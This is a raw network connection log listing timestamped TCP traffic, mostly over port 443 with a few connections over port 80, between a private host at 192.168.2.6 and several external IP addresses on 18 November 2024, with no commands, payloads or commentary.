Nov 18, 2024 00:27:40.498410940 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.499027967 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.499036074 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.504309893 CET	443	49855	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.505989075 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.509354115 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.524087906 CET	443	49858	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.527489901 CET	49855	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.527508974 CET	443	49855	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.531982899 CET	49855	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.531987906 CET	443	49855	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.557444096 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.557445049 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.573052883 CET	49858	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.605751991 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.605777025 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.606858015 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.606864929 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.610465050 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.610472918 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.611840010 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.611848116 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.625135899 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.625204086 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.625250101 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.631267071 CET	49858	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.631273031 CET	443	49858	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.639038086 CET	49858	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.639044046 CET	443	49858	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.642081022 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.642101049 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.642116070 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.642123938 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.660809040 CET	443	49855	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.660913944 CET	443	49855	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.660990000 CET	49855	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.661525011 CET	49855	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.661539078 CET	443	49855	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.661554098 CET	49855	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.661559105 CET	443	49855	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.735886097 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.735953093 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.736026049 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.738320112 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.738341093 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.738390923 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.738420010 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.738450050 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.769308090 CET	443	49858	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.769454956 CET	443	49858	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.769521952 CET	49858	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.810441971 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.810462952 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.810480118 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.810487032 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.810617924 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.810637951 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.810650110 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.810656071 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.811409950 CET	49858	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.811415911 CET	443	49858	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.811434984 CET	49858	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.811439037 CET	443	49858	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.838311911 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.838335037 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.838407040 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.857914925 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.857928038 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.860783100 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.860807896 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.860938072 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.862174034 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.862186909 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.866024017 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.866048098 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.866250038 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.866534948 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.866549015 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.868380070 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.868402004 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.868711948 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.872241974 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.872262955 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.875067949 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.875080109 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.875233889 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.875346899 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:40.875354052 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.588592052 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.589457035 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.597206116 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.608057022 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.626220942 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.635592937 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.651194096 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.651257038 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.651299953 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.682452917 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.682470083 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.686044931 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.686050892 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.692579985 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.692584038 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.693083048 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.693088055 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.704287052 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.704303026 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.706897974 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.706906080 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.711793900 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.711808920 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.712447882 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.712452888 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.715877056 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.715883017 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.716624022 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.716626883 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.812918901 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.812994003 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.813110113 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.813117981 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.813191891 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.817189932 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.818408966 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.818475962 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.837117910 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.837152004 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.837223053 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.837235928 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.837511063 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.837606907 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.837960958 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.838015079 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.846909046 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.847086906 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.847385883 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.851504087 CET	49863	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.851531029 CET	443	49863	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.852689981 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.852705002 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.852854967 CET	49862	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.852869034 CET	443	49862	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.857414961 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.857414961 CET	49861	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.857424021 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.857434988 CET	443	49861	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.863068104 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.863074064 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.863404989 CET	49860	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.863409042 CET	443	49860	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.864018917 CET	49859	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.864034891 CET	443	49859	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.903399944 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.903429031 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:41.903532028 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.943264961 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:41.943279982 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.143832922 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.143858910 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.144177914 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.371332884 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.371344090 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.371423960 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.373217106 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.373241901 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.470484972 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.470513105 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.470772982 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.507056952 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.507081985 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.564414024 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.564435005 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.584728956 CET	49874	443	192.168.2.6	94.245.104.56
Nov 18, 2024 00:27:42.584752083 CET	443	49874	94.245.104.56	192.168.2.6
Nov 18, 2024 00:27:42.584918022 CET	49874	443	192.168.2.6	94.245.104.56
Nov 18, 2024 00:27:42.586070061 CET	49874	443	192.168.2.6	94.245.104.56
Nov 18, 2024 00:27:42.586096048 CET	443	49874	94.245.104.56	192.168.2.6
Nov 18, 2024 00:27:42.601166964 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.601186991 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.601291895 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.627626896 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.627641916 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.685561895 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.739537954 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.739552975 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.739912987 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.739917994 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.868786097 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.868815899 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.868864059 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:42.868880033 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:42.868915081 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.048587084 CET	49864	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.048624039 CET	443	49864	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.109224081 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.157969952 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.238981962 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.314785957 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.356161118 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.356183052 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.369579077 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.399962902 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.399977922 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.400623083 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.400628090 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.400945902 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.400954008 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.401366949 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.401377916 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.435261011 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.435278893 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.435779095 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.435786009 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.440190077 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.440208912 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.440613985 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.440620899 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.501557112 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.501574039 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.501631975 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.529376984 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.529388905 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.531269073 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.531297922 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.531342030 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.531369925 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.531385899 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.531431913 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.531847954 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.531862020 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.531877995 CET	49875	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.531884909 CET	443	49875	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.532259941 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.532377005 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.532421112 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.532428980 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.532476902 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.533129930 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.533140898 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.533155918 CET	49867	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.533162117 CET	443	49867	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.563186884 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.563255072 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.563303947 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.568487883 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.568587065 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.568633080 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.653276920 CET	443	49874	94.245.104.56	192.168.2.6
Nov 18, 2024 00:27:43.679873943 CET	49708	443	192.168.2.6	20.190.159.2
Nov 18, 2024 00:27:43.680008888 CET	49708	443	192.168.2.6	20.190.159.2
Nov 18, 2024 00:27:43.686564922 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:43.686589956 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:43.686602116 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:43.686636925 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:43.686650038 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:43.686965942 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.686983109 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.687012911 CET	49865	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.687021971 CET	443	49865	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.688597918 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.688616037 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.688626051 CET	49866	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:43.688631058 CET	443	49866	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:43.692986012 CET	49874	443	192.168.2.6	94.245.104.56
Nov 18, 2024 00:27:43.692997932 CET	443	49874	94.245.104.56	192.168.2.6
Nov 18, 2024 00:27:43.694108009 CET	443	49874	94.245.104.56	192.168.2.6
Nov 18, 2024 00:27:43.694166899 CET	49874	443	192.168.2.6	94.245.104.56
Nov 18, 2024 00:27:43.710078001 CET	49874	443	192.168.2.6	94.245.104.56
Nov 18, 2024 00:27:43.710196018 CET	443	49874	94.245.104.56	192.168.2.6
Nov 18, 2024 00:27:43.710592985 CET	49874	443	192.168.2.6	94.245.104.56
Nov 18, 2024 00:27:43.710602999 CET	443	49874	94.245.104.56	192.168.2.6
Nov 18, 2024 00:27:43.847234011 CET	49874	443	192.168.2.6	94.245.104.56
Nov 18, 2024 00:27:43.947947025 CET	443	49874	94.245.104.56	192.168.2.6
Nov 18, 2024 00:27:44.053164959 CET	49874	443	192.168.2.6	94.245.104.56
Nov 18, 2024 00:27:44.063182116 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:44.063292027 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:44.063302994 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:44.063324928 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:44.063340902 CET	49708	443	192.168.2.6	20.190.159.2
Nov 18, 2024 00:27:44.063393116 CET	49708	443	192.168.2.6	20.190.159.2
Nov 18, 2024 00:27:44.063647032 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:44.063658953 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:44.063672066 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:44.063684940 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:44.063689947 CET	443	49874	94.245.104.56	192.168.2.6
Nov 18, 2024 00:27:44.063704014 CET	49708	443	192.168.2.6	20.190.159.2
Nov 18, 2024 00:27:44.063752890 CET	49708	443	192.168.2.6	20.190.159.2
Nov 18, 2024 00:27:44.063756943 CET	443	49874	94.245.104.56	192.168.2.6
Nov 18, 2024 00:27:44.063791037 CET	49874	443	192.168.2.6	94.245.104.56
Nov 18, 2024 00:27:44.064584970 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:44.113969088 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.114028931 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.114094019 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.177944899 CET	49708	443	192.168.2.6	20.190.159.2
Nov 18, 2024 00:27:44.285696983 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.285741091 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.290177107 CET	49874	443	192.168.2.6	94.245.104.56
Nov 18, 2024 00:27:44.290203094 CET	443	49874	94.245.104.56	192.168.2.6
Nov 18, 2024 00:27:44.290215969 CET	49874	443	192.168.2.6	94.245.104.56
Nov 18, 2024 00:27:44.290309906 CET	49874	443	192.168.2.6	94.245.104.56
Nov 18, 2024 00:27:44.367048025 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.367141962 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.367278099 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.384551048 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.384596109 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.387897968 CET	443	49708	20.190.159.2	192.168.2.6
Nov 18, 2024 00:27:44.387953997 CET	49708	443	192.168.2.6	20.190.159.2
Nov 18, 2024 00:27:44.390696049 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.394170046 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.394224882 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.394933939 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.394948006 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.396361113 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.396394014 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.396660089 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.397038937 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.397054911 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.398076057 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.398108006 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.398200035 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.398498058 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.398520947 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.513111115 CET	80	49837	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:44.513185978 CET	49837	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:44.528378963 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.528455973 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.528558016 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.535051107 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.535051107 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.535088062 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.535114050 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.553893089 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.553925991 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.554029942 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.630914927 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:44.630934000 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:44.852389097 CET	49837	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:44.853158951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:44.857223034 CET	80	49837	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:44.858047009 CET	80	49889	185.215.113.206	192.168.2.6
